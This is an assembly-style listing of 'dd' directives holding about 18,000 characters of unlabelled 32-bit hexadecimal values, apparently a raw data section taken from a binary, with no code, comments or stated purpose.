dd 590C1158h, 1A5CC2F8h, 13380CC4h, 1661B48h, 1C7D60AAh
dd 7C240EFEh, 43D60140h, 0EC022F38h, 10903648h, 7805B61Ah
dd 801BE884h, 248BD2E8h, 7D552517h, 0D8601417h, 485B5CF2h
dd 7E30786Ah, 3DFEA21h, 1096B881h, 8D9404FFh, 78E81586h
dd 109D0F34h, 4419B40Eh, 56167BFAh, 66840CE0h, 702AE110h
dd 0FE00CCF1h, 0C8E4BCD0h, 0F879ECFBh, 107F1CD2h, 58EA0036h
dd 23450A0Ch, 0C4184E1Eh, 0CF6F7140h, 286BDD4h, 8A4910CCh
dd 0E1012240h, 2C50C3FAh, 0A54AEAh, 0F82D4A4h, 0C4767C8Fh
dd 0C2529507h, 8EBFA617h, 3B80BC6Fh, 0A2032BFAh, 32D776C4h
dd 0E8704389h, 7889943h, 0C0923D1Eh, 34102B26h, 0FC80A664h
dd 83C02AEAh, 0BD7450FFh, 103E23C3h, 48D897Bh, 43F403E9h
dd 0D2380048h, 3F2E70DCh, 8A3F259Dh, 73770050h, 0C338C78Ch
dd 0B47C1D4Fh, 0B1478053h, 22D8CEF3h, 4CBD0F01h, 0CA5D74ECh
dd 3003828h, 2F55DE33h, 0F494169Eh, 0BCA1FC98h, 24709215h
dd 3F08B679h, 7B6E1C00h, 5C2BCB11h, 453A60B0h, 0E00C187Eh
dd 1C04B3C0h, 0C0BB30ACh, 62F24BD1h, 92071FA4h, 8351B6CFh
dd 0AB6BA8B0h, 8AA2014Ch, 0CE44F524h, 0EA0430AFh, 2C3E152Ch
dd 0B540A31Eh, 0E0139265h, 5D90FD6h, 0A0279D89h, 0F9B6048h
dd 2924C6C4h, 0DC2879CFh, 611B0600h, 0C1EBA4C2h, 0E094A3ECh
dd 513F53F8h, 403ED0F0h, 0B10FC380h, 5550105Ch, 1D019884h
dd 0A12C644h, 0C60FDDDh, 4BE44A0h, 9E5F3000h, 7F248272h
dd 3C9F01D3h, 0A8EA07C3h, 9B6300ADh, 482B0E6Ch, 3D48E1F9h
dd 641E8B16h, 71E2B242h, 42E05047h, 0E850942h, 238023AFh
dd 0A4605264h, 1F870128h, 175FCC3h, 0B8931FE7h, 0E15CEC6Ch
dd 3288459h, 2BDE79D4h, 0D13490C0h, 0AC8D1860h, 3C5C888Ah
dd 971E440h, 0C1C48EBCh, 0A6B87490h, 84404548h, 0F0C5D68Ah
dd 0D1B0B402h, 8B44541Eh, 0B4E804C9h, 14B34FBAh, 0DD30382h
dd 0D4D048BEh, 2EE090ABh, 9588AD7h, 0E89A80F9h, 10B36086h
dd 30EAD43Dh, 0EC0601Fh, 98CB269Ch, 0D418A760h, 9E6B785Ch
dd 84B4D468h, 0C8D954EAh, 2E0090D4h, 0E6C4DBBDh, 17F403C5h
dd 401F1E4Fh, 5F426838h, 2941321Ch, 0C0A5BC40h, 0EACC0961h
dd 0C031C6h, 6C14698Fh, 7590F6E3h, 0EABB8906h, 8F195DDh
dd 3B145CFCh, 43788300h, 130458A1h, 61799484h, 518AA350h
dd 68E0F478h, 4584B1CCh, 76B83819h, 71A5D00Bh, 240404C6h
dd 491CF416h, 3B91EB19h, 5C61CDB0h, 0BE80B410h, 2C0F0052h
dd 5CF5788Ah, 0EC925131h, 80FF7978h, 0C5441888h, 3CB8A65h
dd 0E1050947h, 592D9950h, 0B02C0841h, 1D1B642h, 2EAD04C4h
dd 604BD853h, 0D780FDFh, 5CC010BFh, 0A06449A4h, 64F6E00h
dd 6B8338FFh, 0F874C1C0h, 49372BBFh, 101F4418h, 18679D44h
dd 0EB820848h, 52E71100h, 9A5CFADEh, 7E8C9A91h, 0B5EE30D5h
dd 0CFBF50E8h, 39ECA3Dh, 44E4F91Dh, 33A27862h, 8411F325h
dd 0B10956ABh, 76031DE5h, 0C41600B4h, 6B0733ECh, 0F49D910Fh
dd 98979244h, 0CADD80F9h, 0EC393B8h, 7975E910h, 74B6CF9Dh
dd 0C980B90Fh, 52B17CAh, 0A51DF60Ah, 0FA008CBAh, 0A7C114EFh
dd 31DC006Ah, 65C70EC2h, 55005672h, 0F544F9A2h, 0D7016F1Dh
dd 0B0740430h, 6518E5C8h, 1D706404h, 0DC292F6Ah, 0AC7EDC0Ah
dd 2F47600Fh, 83C2229Eh, 0CE30486Ah, 161C0B6Fh, 0E89002F4h
dd 32504D1Eh, 3601AAB4h, 0B9666476h, 45FD4347h, 72830470h
dd 7141C761h, 27A11123h, 792FD49Dh, 0CB9E6402h, 0D0966611h
dd 2AAB0038h, 0A6E97782h, 0E0354ADh, 91E5346h, 4C687A35h
dd 8F0158FAh, 840815C9h, 0D00A7E38h, 1A01F0C4h, 93E65F14h
dd 0AF1DF1CBh, 12187824h, 4FDBBA5Ch, 0D1920EA8h, 89697748h
dd 10377240h, 52821E8Ch, 6200B88Fh, 4DB6AC2Fh, 0A2783C8h
dd 9A8C995Fh, 5C0CBC77h, 0DD68FC87h, 0B9D56105h, 3CA89655h
dd 5EC42450h, 68D02D03h, 1C424F78h, 80AC1083h, 1DF99C9Ch
dd 38B26074h, 0CDC04417h, 0DBE8AF48h, 20E0B530h, 7CC31205h
dd 8A031E5h, 0FD2E0014h, 0D56900E0h, 707D2AAEh, 8A134A11h
dd 8093D286h, 4835906Fh, 0E7578ECh, 138A0311h, 0A30891E0h
dd 0AB14B30Bh, 0CAA08239h, 220A8023h, 61021009h, 624B73EAh
dd 3340C11Ch, 0D92ADC42h, 0D3830A4Ch, 0AAD02E20h, 634C9428h
dd 0C0192774h, 44383522h, 41518420h, 4337CD6Bh, 68619EBCh
dd 0E5C0C7E0h, 96027832h, 0DD8E5C68h, 20E40C40h, 0DE02FF02h
dd 0CE57BA99h, 0E2892628h, 583D1080h, 0F990102Ch, 49DD1E12h
dd 64CEFB70h, 0EA31EC22h, 6525F0C1h, 0A950807Dh, 22850A08h
dd 0A442D0B1h, 486CE413h, 3AC01864h, 5E2FF3D8h, 0D401C494h
dd 6F4458Ah, 0EE017863h, 0F2EAD20Ch, 0C880A4A3h, 2A34380Bh
dd 81271C90h, 0DA539B94h, 723EB82Ch, 0D3FFC800h, 0A2F8FA6Bh
dd 0A51E5E04h, 0EC03DFh, 43C6784h, 30B0C704h, 2F8490BCh
dd 0D8093583h, 418CE80Ah, 78A58199h, 0D4242EC8h, 1DB7B030h
dd 0C4345539h, 11C63825h, 0C1826D7h, 585BFB83h, 16EA1DC4h
dd 1C6EC3BDh, 9800E641h, 0C23D9176h, 2E90BC10h, 0A81705h
dd 3C6BC407h
dd 192C8A66h, 9C00A934h, 0A840578h, 0CEB8CC92h, 8904550h
dd 7A729B03h, 0AC293687h, 0EA0874A9h, 9916DA3Ch, 0D21EFC43h
dd 0FB7825CEh, 834094D6h, 36CCCD1h, 8ABCB9Bh, 38F6C0EAh
dd 4A30FC7Eh, 2AE67071h, 440E0010h, 7872661Dh, 0DF7C8A39h
dd 90224E2Fh, 5765A9Ch, 8B45A8B6h, 2A7CB2FEh, 5E5AB4BAh
dd 19EADC00h, 0EA808D3Eh, 98819F8Ch, 0F4752F22h, 5D7C246Ah
dd 2908B82Fh, 0CA0654Ch, 0B53942EBh, 0A4A2522Ch, 96DAD480h
dd 70453F5h, 2CD62DEh, 0DDD702EDh, 3F1E0C81h, 0AF308025h
dd 0DFD860D6h, 67ED0150h, 1C728EC8h, 0D4006E29h, 37EA5BABh
dd 0A4119528h, 3CE04373h, 10B8F2C4h, 61138E04h, 0CDB2002Eh
dd 82DED1D7h, 0E081559h, 0AC1C7CCFh, 0B4182821h, 3CC0695Ch
dd 0DD65CB6Bh, 14C2F811h, 2A0F0F4h, 955C8DE6h, 7CD2ACF9h
dd 38ED040Eh, 0FC30962Bh, 7E5C3235h, 0FE9400CCh, 0E07FBE4Dh
dd 8CB2C07Ch, 0A0CD56h, 630CCCD0h, 29749651h, 43B037BBh
dd 805C9BDBh, 647E00A4h, 993674A8h, 0EA580CC3h, 0C8B1E9C7h
dd 0A9E1C0C0h, 0BA1E556Fh, 14C899A4h, 8D832CC4h, 0BFD2D106h
dd 9B1DDCD1h, 0CA0E06E0h, 180526EAh, 0D283B616h, 0E2D830C3h
dd 1C854C1h, 9C5CFFFEh, 485C6862h, 0F53778B0h, 2AE0105Fh
dd 13926FCAh, 51B41E9Dh, 151AD410h, 748F110Bh, 0BF13A03Fh
dd 4F2E83h, 56FE86D1h, 81E900C0h, 6B62ED59h, 4B5C8B93h
dd 0E797191Ch, 8C398AB8h, 884C4858h, 3B241C4h, 0F02D7E16h
dd 92231D96h, 32C304BCh, 90501C79h, 0CB74F340h, 19731D13h
dd 25855C9Ch, 3029B178h, 0F4EBB418h, 8CBCEC74h, 84C374C5h
dd 0F3692665h, 68722D84h, 9E86C14Bh, 7D55F40h, 0ADEA5C40h
dd 0EFC802C9h, 32F58C4h, 18C49436h, 2094B65Ch, 0D048CE81h
dd 82D605ACh, 9CE22650h, 115C1870h, 321759E8h, 0A21F0322h
dd 7FBC528Ch, 0BC43F925h, 2994F16h, 0B7E1FF7Ch, 740218F6h
dd 0CEA5B172h, 507090C0h, 59832421h, 0BA122426h, 8B60702Fh
dd 0D8B048D3h, 6623B312h, 0B13AB8C8h, 209E886Ch, 0C61DE106h
dd 0ED4A0BCh, 51DC8096h, 8050EA25h, 6695B464h, 98B874h
dd 2BEF86A5h, 0C8DC5E33h, 300FE9FBh, 0F700FF80h, 247C66DBh
dd 2A4E3E9Eh, 1F8231Eh, 6139EBFEh, 43113B4Dh, 0B1745C92h
dd 0A0D29337h, 0E259F2F2h, 0F03C6010h, 0C720C3E8h, 78E96AC9h
dd 0BB783055h, 0E7331702h, 7029905Ch, 197C0754h, 65C36850h
dd 0C48CD013h, 0BD0248C8h, 2E1C6CF1h, 0A1F4EBD9h, 12AF7EAh
dd 0C485BE6Ch, 815C38C0h, 9E814265h, 60891420h, 0EB536057h
dd 0E900C40Ch, 2CF517F2h, 50C56EDEh, 90CB08C1h, 922D4C60h
dd 0D0834200h, 0C31C3B9Eh, 0CB46049Ah, 80226013h, 86FF1E34h
dd 0C95398C0h, 71C00C4Dh, 83E504C2h, 0ADE2B531h, 62E6801Ch
dd 92CB275Dh, 16D40158h, 3A1E1A74h, 0F4488330h, 0FABA65Ch
dd 44324D21h, 7F406C93h, 0A4404Ch, 0B111F8FEh, 0F82786Eh
dd 0E78A92D0h, 0C0101793h, 3680CBB4h, 22A56094h, 31AD0Ch
dd 9D782CC2h, 448D8125h, 4F1E2CE8h, 90A218h, 8288A3DEh
dd 0F9B6DC78h, 33240702h, 0C297E479h, 1E740194h, 347336C4h
dd 0B5BCE3Eh, 1002E0D4h, 18CCF96Ch, 10F7FD31h, 4C72ADCBh
dd 66857890h, 17F4A96Bh, 2CA0C05Ch, 0D96C3F19h, 0ECC6186h
dd 583C8852h, 6893265Dh, 0D4053480h, 0C1C372EAh, 0BF83C748h
dd 0D9D040B2h, 9BFC91DBh, 73EC4300h, 0CF3BEB05h, 8A6E00BBh
dd 24D8CEE9h, 1EF6C4C8h, 90262E28h, 7C38CC00h, 0DEC97EEBh
dd 61C30018h, 0D2F29B7Ah, 0A96DF16Bh, 1AE0C8E1h, 84C4B10Ch
dd 0EE9F72D0h, 5F2B2D00h, 0F8966344h, 48DE2A8Bh, 506120BCh
dd 468294Ch, 826323C8h, 258344CCh, 4106EF1h, 404C0804h
dd 0D8D468h, 0DF9F0680h, 49AFFD6h, 0DB1DA13Bh, 0AEE8948Ah
dd 9BBB6000h, 0B8F33E56h, 0E6F500F4h, 23C10A78h, 640179FBh
dd 843A0D70h, 0D1D15C02h, 6BEAA840h, 95C090A8h, 0D68CA801h
dd 0C772D4D0h, 93215202h, 0D774DEECh, 0EACFA080h, 0B8C00F95h
dd 7B9D8D16h, 0D36400E5h, 0D2021472h, 54BA68EAh, 3EEE1278h
dd 0E2F8FB01h, 13911C75h, 6F5B080h, 89C63B53h, 5776EA18h
dd 842680h, 79458347h, 6BCD5272h, 0B30B5D0Eh, 8BB9C054h
dd 3C29CA7h, 0EA01DBCAh, 680C062Bh, 5874B89Bh, 6B6A2883h
dd 1DCA76A4h, 4038661Dh, 8AF18462h, 0D71DF46Fh, 0DA8D408Bh
dd 3029285Fh, 4063185h, 931580D8h, 0E4C5A29Ch, 0C32C1D64h
dd 4B80A0BDh, 5554B57Ch, 13087143h, 4EAC0E5Ch, 0C4C01DF8h
dd 7FC07AC2h, 0F84FFB78h, 372B5000h, 1C226C5Eh, 8CEC2AA7h
dd 79115DFFh, 0A0DFE224h, 0D91FF30Ch, 88E54A73h, 0C02EBCF8h
dd 0E203B0A5h, 9A81F95h, 0D1075210h, 0D5FE4CA0h, 5304B479h
dd 0BE34752Fh, 1E70480h, 1E060C54h, 0F250A5F3h, 69665C38h
dd 7B010B0h, 7910C1CAh, 33926A9Dh, 0F54A7C1Ch, 7C001465h
dd 9B12E8DCh, 0A2650099h, 0AEC394E5h, 5690FC2Eh, 68ECC42Dh
dd 0A26698h, 0C8E92F03h, 0A65ADAD4h, 1E21D50Fh, 0B8495355h
dd 448CA29Eh, 5CC4E21Bh, 0C02A1FC8h, 7DF8E2D7h, 32281002h
dd 7627085Bh, 85C65B6h, 48182445h, 38D1D281h, 0B309FC0Dh
dd 68E3581Dh, 0D06B5C90h, 221D74B2h, 0B214E93Ah, 0C21000DCh
dd 3382E31Dh, 1B47CD9h, 3CE79E64h, 3CAC071Eh, 0FECE80F0h
dd 5CB4E1BCh, 448F5052h, 507BCC69h, 0C571E505h, 0DC01A064h
dd 102CF4D1h, 588F23E0h, 0C04EC941h, 0E39CDBB0h, 94DD7D00h
dd 0FBC03145h, 0CC65E35Ch, 40810C60h, 5582B75h, 1E488164h
dd 0AC2D749Fh, 0A6B38303h, 72B04A73h, 2512F22Fh, 0B003508Ch
dd 8894AADEh, 13375D2Bh, 899EC53h, 0B00BFFDCh, 9DF4ECC0h
dd 0F5C6C030h, 0F4703E81h, 0DD5AB0EAh, 3AB8010h, 0D26F647Bh
dd 0E6FA6E05h, 80C252D1h, 8E4E572h, 830FC520h, 0EAAD0725h
dd 0D08AC90Eh, 73CE0798h, 3042E32Dh, 16EC6D97h, 45584709h
dd 0ACEE06C1h, 4C27E71Eh, 0EB8AB840h, 906C27C8h, 8274B6F0h
dd 2056BD8h, 6DDC098h, 7400F071h, 0E50481EAh, 0EE4F9539h
dd 484A4C1Dh, 0EB18614Ah, 0E441817Fh, 1CF75CE1h, 30DB189Eh
dd 5D65E681h, 0B4EC824Ah, 84251603h, 0D014B8B9h, 7F015C4h
dd 89360F27h, 2A1CED81h, 2E964FF4h, 0E8CF7Fh, 3D3B9833h
dd 8C2558CBh, 2BC468FEh, 91290E41h, 0DB27DD28h, 946141E6h
dd 31886882h, 59CB2917h, 0BA64052Eh, 28E0892Fh, 250B009Ch
dd 0FB6B677Ch, 98A6C7h, 7903F9D9h, 9F1A1D97h, 0C507489Ch
dd 5457FE60h, 0B3A39170h, 14DA7C74h, 9BA2677Ah, 3FF5C440h
dd 230510BCh, 81778A2Eh, 78D5EA39h, 0EF200E2Ch, 0A03A4F6Ah
dd 0A3475C7Ch, 0BCE63EC4h, 0DE55C707h, 8748E97h, 0F8FFC000h
dd 8B845F01h, 0E1E2A01h, 891DEB44h, 10CC133Fh, 0C30368A8h
dd 0CB74A31Ah, 0B0CA838Bh, 6B0448F8h, 98DED9C5h, 0F63934A9h
dd 4C890E0h, 8B04FFB0h, 90DE5CF0h, 9495A890h, 0B5723DCAh
dd 59AEB781h, 42137D84h, 0E853BDECh, 0E09A6085h, 0F9C468A8h
dd 10200994h, 904CC398h, 0A6E920D4h, 52598B0h, 97FC5A99h
dd 0B2E58805h, 76F5123Ch, 0E874580Ah, 0B054032Dh, 396010D0h
dd 95C00041h, 6E0F8252h, 0B7C90029h, 0E47C4E23h, 804CCE71h
dd 47A3C884h, 0F8C6A50h, 0D9805206h, 0ADD382AEh, 37C46C02h
dd 7402B583h, 306D470Ch, 5CCF7261h, 0C06B3C27h, 5D0CE1Ch
dd 0CDE4C0F8h, 0E8D882B3h
dd 0FB00787Ah, 0A4F7D692h, 0DFCCF3h, 0E0E53845h, 341DDE44h
dd 7490B0BAh, 0A1E29F16h, 13973408h, 27A8F775h, 0A9601866h
dd 7B80C352h, 1DC1FCCAh, 7D108263h, 7647A864h, 0F4836138h
dd 0DD002482h, 381FB57Ch, 9115FD25h, 8CE309ACh, 0BA80936h
dd 0C7A04118h, 8216A03Ah, 8A811A60h, 0C4130B8Eh, 32D70h
dd 0FDB77816h, 5BE8E918h, 69920297h, 54B53CDh, 0AE831C48h
dd 0E10564B4h, 4D4A22Eh, 38F7ACD1h, 5E2B4800h, 0AD8738h
dd 6706FA59h, 40F55C0Dh, 440011B9h, 0FE582F32h, 26EA6BDDh
dd 0A74493BBh, 0BA839C22h, 0F3673C54h, 132C14EBh, 95AF0E84h
dd 850CC5B0h, 5040C970h, 912271A0h, 5FC7B100h, 0C968FF2Ch
dd 847D0102h, 0EAD6AC7Bh, 0B41F6A25h, 0F0167600h, 24419C1h
dd 0FEDBC0E8h, 5064368Bh, 5BAC2303h, 0A57FC3C4h, 123EB8B1h
dd 26709878h, 0C427E25Eh, 0C4121682h, 0F3C50064h, 0EE026E6Fh
dd 8A05D2Ah, 3D0B1D82h, 1D91BE9h, 0ACC76B58h, 282478F0h
dd 2AC418Ch, 0AE57B8DCh, 90D84D83h, 0E891D54Eh, 4F0C975h
dd 0C49ABFh, 730D6D10h, 9D9E6607h, 384E7807h, 0CBE01C75h
dd 247C51h, 26533A85h, 4A8AD9FFh, 0EA102A04h, 94A02E16h
dd 61A562C8h, 0F058E95Ch, 0E205FF74h, 8526278Eh, 1F16E881h
dd 0BE609007h, 2D341DFEh, 0BAAF18Eh, 9F8112D0h, 2B2A83F1h
dd 1D443000h, 0AA02ABC4h, 9D185EE4h, 0CE5F2011h, 597B6100h
dd 1CF6D92h, 74C43E47h, 0D4FDCCF0h, 0F0345C0h, 6D1C688Ch
dd 5B71039Eh, 0CFBBA887h, 18D03Bh, 0A38850F1h, 0A64B02h
dd 0C5306953h, 0F9CB0BBAh, 0F605C74h, 0FC1C76D8h, 8248DFD3h
dd 0FD87EA18h, 425E0068h, 84791604h, 0B4987AFBh, 76E165Ch
dd 4E40B2ADh, 0DE8EC20h, 0CD848CEh, 0E699DE82h, 0D0A9606Ch
dd 34283FBEh, 0CE18847h, 0C2506A4Ch, 0D9B8315Ch, 0BFEE074Ch
dd 109E6FDAh, 11D40494h, 0ACF89684h, 1DF42E05h, 0FAB0B0D5h
dd 8F4EAFB8h, 0C7B4030h, 4482B7B1h, 40C16385h, 310BD16Ah
dd 9F7CE414h, 39205FFCh, 44774A02h, 1D26CE0h, 8A6723CCh
dd 305C0CE4h, 0D8603C32h, 0C926A645h, 1010C12h, 0B9049B7Ah
dd 0F42899DDh, 95E81E09h, 68D8946Bh, 0EA16ACFBh, 0F8F418D6h
dd 7C4D0025h, 0AFC2C4EFh, 9600B2CFh, 99DD8465h, 514DF27h
dd 5423310h, 5D20C0E2h, 1907F717h, 8A3102D1h, 0B0E861C4h
dd 0C092F810h, 0E92C72CEh, 0EF8339ADh, 0E2AADC0Bh, 0E31078E8h
dd 14E48A3Fh, 25A4E1D8h, 276CC4C1h, 2020B174h, 0FE92EAD2h
dd 8323B0C0h, 4147350h, 0AFCD79ACh, 30A6C8h, 68C4EC4h
dd 664C5CD1h, 68899096h, 9FDC9C44h, 607B4069h, 9D125100h
dd 100710C7h, 39F136C5h, 0BC3CC31Eh, 1A44F302h, 3C7AF8B0h
dd 95A15C10h, 0F451DA2Dh, 0EC20D724h, 2B165A7Bh, 0D0042A26h
dd 0D8B0459Bh, 0EE883083h, 0C1114778h, 0BF6DE124h, 27EA5830h
dd 3089851h, 0BEE4F33Ah, 26C8AC0Dh, 307B0BCEh, 0F1FCC000h
dd 507DCFC4h, 731E1E75h, 840A42B7h, 285E9031h, 127BC26h
dd 0D1081DA8h, 0C08B302Ch, 5C453C8Bh, 30CD0487h, 4F3472CBh
dd 1FA45D54h, 134424C5h, 28E4A17Bh, 61CD0990h, 2D681004h
dd 72058171h, 9C011340h, 1EFE9043h, 0C895E110h, 0BC25C2F0h
dd 0B8208D48h, 3A6FCD80h, 0D4276822h, 5C17408Ch, 54968EFEh
dd 685E3A8Ch, 793200DAh, 5A6F77C8h, 0C400AA99h, 7FF9BAC6h
dd 1CA06460h, 801B068Bh, 2B39E604h, 9100F571h, 0CA738102h
dd 648CC6Dh, 0F05CDADBh, 0C8B460E9h, 20D46CC9h, 0DB0C195Ah
dd 0B97FEA5Ch, 0B40400AAh, 5995CABEh, 98022926h, 861C7E93h
dd 0C1946A78h, 62EA2C34h, 1CAC5E54h, 0FCEFE0C8h, 6F0EA147h
dd 47626E54h, 0C023EB74h, 6B37E8CAh, 0B073FCC5h, 720C2460h
dd 3DDB098Ch, 9B08E80Eh, 0EA702302h, 265454FBh, 518BC94h
dd 2122A1E0h, 0FCDD2001h, 871C7BCCh, 579901D3h, 73119564h
dd 0FF147010h, 14E08F12h, 0CED1105h, 1EC3A4B8h, 3904D91Ch
dd 0F71AF0FFh, 0B516DCC1h, 7874DE02h, 65125CACh, 5C4094C6h
dd 0BF051025h, 0C4845CFEh, 0D0588156h, 0B79EE0B0h, 7B6060C3h
dd 40697AF7h, 0B107AD80h, 7F3DB51Fh, 0C214894Fh, 3C6CDC50h
dd 0F5C4E916h, 90042BD0h, 0C70B1682h, 9CE61098h, 85635C70h
dd 80D10378h, 29BBAEAh, 412AE398h, 0B45C6F8Ah, 0A3CAC280h
dd 0EE1C79FBh, 1ED09A2Fh, 80EC055Ch, 29F1EDC5h, 0FC0099CCh
dd 2EF3EBFEh, 22A931h, 70D30DD5h, 239E76CBh, 5CE72D04h
dd 9803AAB3h, 74C18818h, 4E888F75h, 0CCC0161Eh, 2F782BAAh
dd 0EC61351Ch, 0FE01C804h, 4ECA0C00h, 0A4763F22h, 609500A3h
dd 0C4A5D1C2h, 1F04C3EEh, 89946481h, 23A120ACh, 0AC6C4Eh
dd 0E4BC01C0h, 0C3898C1Dh, 2A682C60h, 0E859A1A2h, 65EF485h
dd 5D25F0C0h, 481767BBh, 682AF08Ah, 0CB16CC76h, 0BC068C34h
dd 1DC97E5Ch, 0C0143ADAh, 0AB836656h, 0C913E421h, 6481DF5Ch
dd 30357882h, 0EB81007Dh, 2B469ED2h, 198A1041h, 21AD1132h
dd 2558744Ch, 0FCA05EDCh, 0D93C40FAh, 0BBC9CE00h, 0F57E664Ah
dd 54565C92h, 28B11001h, 0E8DE341Eh, 0A712EAE6h, 14E24691h
dd 0E064B825h, 0FAB28C80h, 0DA2CEF0Bh, 6B8802F6h, 0EFECF451h
dd 4BC4F01h, 0A0143F9Ch, 0C6702D64h, 0D4C095D4h, 501E24FBh
dd 18D25CBEh, 0D0374040h, 0CBD3EA0Dh, 8F8BC089h, 64B0680Bh
dd 70054B3h, 481FB456h, 174F9DDEh, 0E0C8EB3Fh, 7400EC2Ch
dd 317B827Fh, 26EAE6Ch, 94EA2CACh, 589A490Eh, 695E0ECh
dd 2CA66560h, 0DCCC77h, 401D6EE6h, 4490DEAh, 5C7D1D94h
dd 8838D55Ah, 0F86ADC3Ch, 3F03F116h, 2CBE1AEBh, 8858A818h
dd 0C20A4F6Bh, 8564E02Bh, 0ADA48412h, 4B1E8508h, 0B8537CD0h
dd 0D2C002B7h, 0A41DCB9Ch, 0D9809CCBh, 0B1006DD3h, 6EBD74EFh
dd 0CD14BEh, 0BFF7C1F4h, 1A283F5Fh, 40AE8A27h, 276B7D88h
dd 0C498A602h, 7200B46h, 0FD2E097Eh, 20A0C11Dh, 0B30E5B2Ch
dd 1EEF5C1Dh, 1F15B182h, 0EA1F4030h, 0D03C64D4h, 3BD4F6CEh
dd 9EB04D79h, 3F9BD131h, 2C83A834h, 178AFBFh, 0AA1C72D1h
dd 20D035BEh, 0A40A1580h, 9094F65Ch, 773C34A6h, 80246948h
dd 53C4C9ABh, 830200C5h, 0AED41C0Fh, 110F2D13h, 438A62C6h
dd 9A2B1003h, 0BD78E5BDh, 7C2F31Dh, 0C762BECFh, 0C0E73684h
dd 7844315Fh, 710145A7h, 8772FF1Ch, 0EA60ABA0h, 9848D066h
dd 0BA8F30D0h, 2482CDC8h, 1280A997h, 4E3072E4h, 697C17FAh
dd 0E0746FACh, 6D8BD0A8h, 722874D0h, 0AF1E601Fh, 0DEC36450h
dd 0C091C844h, 0CA95BE5h, 68265CF2h, 66094730h, 80BC4670h
dd 0C1ED74A8h, 0F4605D23h, 86FC975Ah, 9C05C0B1h, 0D4C71DC4h
dd 60C2D0BDh, 0F0D3E821h, 1010320Ah, 0BEE0F88h, 4233A1Eh
dd 3788C405h, 0F498E3C0h, 61F48327h, 0A4307434h, 549558E1h
dd 70799E10h, 0CA71CF16h, 8F061400h, 3DD899F9h, 332C28F2h
dd 88E52798h, 0CE08B00h, 0EBB01244h, 0C2033429h, 0BCF536EDh
dd 2B331DF9h, 2EFF2802h, 0D57CC00Fh, 0EAD8A894h, 0C1234E56h
dd 6655D8h, 0E6F1FBh, 75C76ACFh, 6E89E71Fh, 0EC1CDD7Ch
dd 4F4423F4h, 48EC93EAh, 5D83B509h, 0F5091C50h, 508B1E2Dh
dd 325CE0F0h, 78A8EA63h, 0D020450h, 17D0BC40h, 1E1C68F1h
dd 94C65D24h, 647A5603h, 3188529Eh, 104F4427h, 0C2B03C55h
dd 98D61360h, 48D5EAC8h, 7BCAB8AEh, 58F608B8h, 0C84C8202h
dd 3DE82395h, 49F0A049h
dd 3E0B284h, 104DD3C2h, 0B5EB0C04h, 0BDB10F3h, 0F7ECC671h
dd 744FA044h, 0E02758BCh, 0F9E1CC22h, 0C0AED900h, 81595B53h
dd 8CA588h, 726DCA79h, 0C5E80067h, 0A4D69C44h, 8F002AE6h
dd 2C7345D0h, 3EEDF8Eh, 1F7DC3D8h, 0EAB0F33Bh, 3CB28C43h
dd 919B6B00h, 825C09B4h, 0DB70CEA0h, 62EE64Fh, 7BB6462h
dd 25EC1C4Eh, 80422A2Bh, 270880A6h, 6FBE068Eh, 0F89AD8BBh
dd 0DD699B13h, 83CC5030h, 60884DD2h, 0A5E06132h, 8052107Eh
dd 46EACEF4h, 2BFD8006h, 9C976402h, 0E14D9E2Fh, 0FEC5904h
dd 0F274008Dh, 0E9FAC3CCh, 0BA95480Dh, 165CD608h, 0C39004FCh
dd 0F91E048Dh, 706B5C97h, 4322604h, 0C8D363C4h, 0AE3AE4A7h
dd 5CF57470h, 0B4BB4AE0h, 0AE05DE98h, 64845409h, 9A800F0h
dd 0B713F04Bh, 47B38400h, 0C302F92Ch, 341C7D59h, 1EC454D5h
dd 6664014Eh, 60044FF4h, 6C07C0D4h, 0E4719F02h, 8E80AEFh
dd 0C0F6B512h, 0CC692575h, 0B06E602Fh, 82A5A435h, 547C91A4h
dd 613C3E80h, 7092C07h, 3D1DA8D8h, 0C4AFC0C3h, 6407A1E6h
dd 9DDDFC1Eh, 0E52E16F0h, 0A360059Eh, 546583h, 0E4EC0490h
dd 4F1C632Bh, 8440B3A5h, 2F5CB20Fh, 60AD5F0Ah, 73CD642Ch
dd 0CA186895h, 70845D83h, 0F820E76h, 0B1403EA8h, 0B2F25C0Dh
dd 96AFC0A8h, 8A1E5492h, 3FB0BFCh, 7265CD44h, 0CC1100FDh
dd 0E0F54802h, 819D6CEAh, 9483CEFCh, 0BE13E83Ch, 244F22Fh
dd 98CAF6BDh, 0BF0441FBh, 6DCC618Bh, 0C720DC64h, 9160125Fh
dd 678A3CDh, 283D8466h, 0C4A39D28h, 1000DF6Eh, 244C10E9h
dd 9818C238h, 0E8823B23h, 0FEAE7E80h, 0B67932ABh, 6820714Eh
dd 13A91DC2h, 5DCEA6E1h, 0F0922DC8h, 0F85D3C50h, 5E030C54h
dd 715CD093h, 7930CFA9h, 0EACF7B80h, 48BBCAF5h, 0AD137200h
dd 0BF759465h, 98502Bh, 0E900B7BEh, 91FB1E74h, 0B95C9D5h
dd 0B02CEA52h, 96BE34E8h, 0CA07A10Ah, 0A5009574h, 0D9FBEE7Ch
dd 0E24109DBh, 68847242h, 297080D1h, 0CA09B798h, 0B646Bh
dd 0F287CCCh, 225C1918h, 6A8278E1h, 183CE02Dh, 0B6B7310h
dd 15E6095h, 0AD5764E8h, 0F4F4C0E6h, 0D54E0006h, 8FA58365h
dd 443CDCA3h, 0A26B18EAh, 9575D811h, 40BC48CEh, 5461100h
dd 96ED196h, 0EE63E10Fh, 178A074h, 2F248158h, 648B7C06h
dd 0D8809710h, 3886C05Ch, 1796E63Bh, 70221C47h, 0E0AB5504h
dd 331E4C30h, 96D84997h, 0D0A1E4EBh, 9B0198E5h, 0AD09F88Bh
dd 8615D0A0h, 1E0581B7h, 703C6305h, 2CF931CBh, 54E46F17h
dd 99ED40D3h, 2E3F200h, 5750054Bh, 5A2C2D69h, 0B07E3825h
dd 30FCEAF8h, 0E0E278D2h, 30F12B89h, 2095029h, 407C59E8h
dd 284FE4C4h, 1E239D1Ch, 53DC54FDh, 60957C90h, 754BF950h
dd 99AF60Bh, 0AD8FEACBh, 183C40D1h, 0BDB9B838h, 0B5CA2EF3h
dd 897F4238h, 0C8FEDB02h, 0DDFAE8h, 1BBD31BAh, 7B0423C4h
dd 0E2C91C3Fh, 0D9F1FC28h, 4F4C26CCh, 4F5CEB25h, 2C40EFA0h
dd 1DCE740Fh, 0C83A9130h, 721E89F4h, 649B0119h, 335D6A94h
dd 44442E39h, 6B00D616h, 2BFBFF5Fh, 8E0150E6h, 0DF8A0B90h
dd 647C7982h, 65E1BC05h, 0E890356Fh, 4060935Ch, 0A8BE995Ch
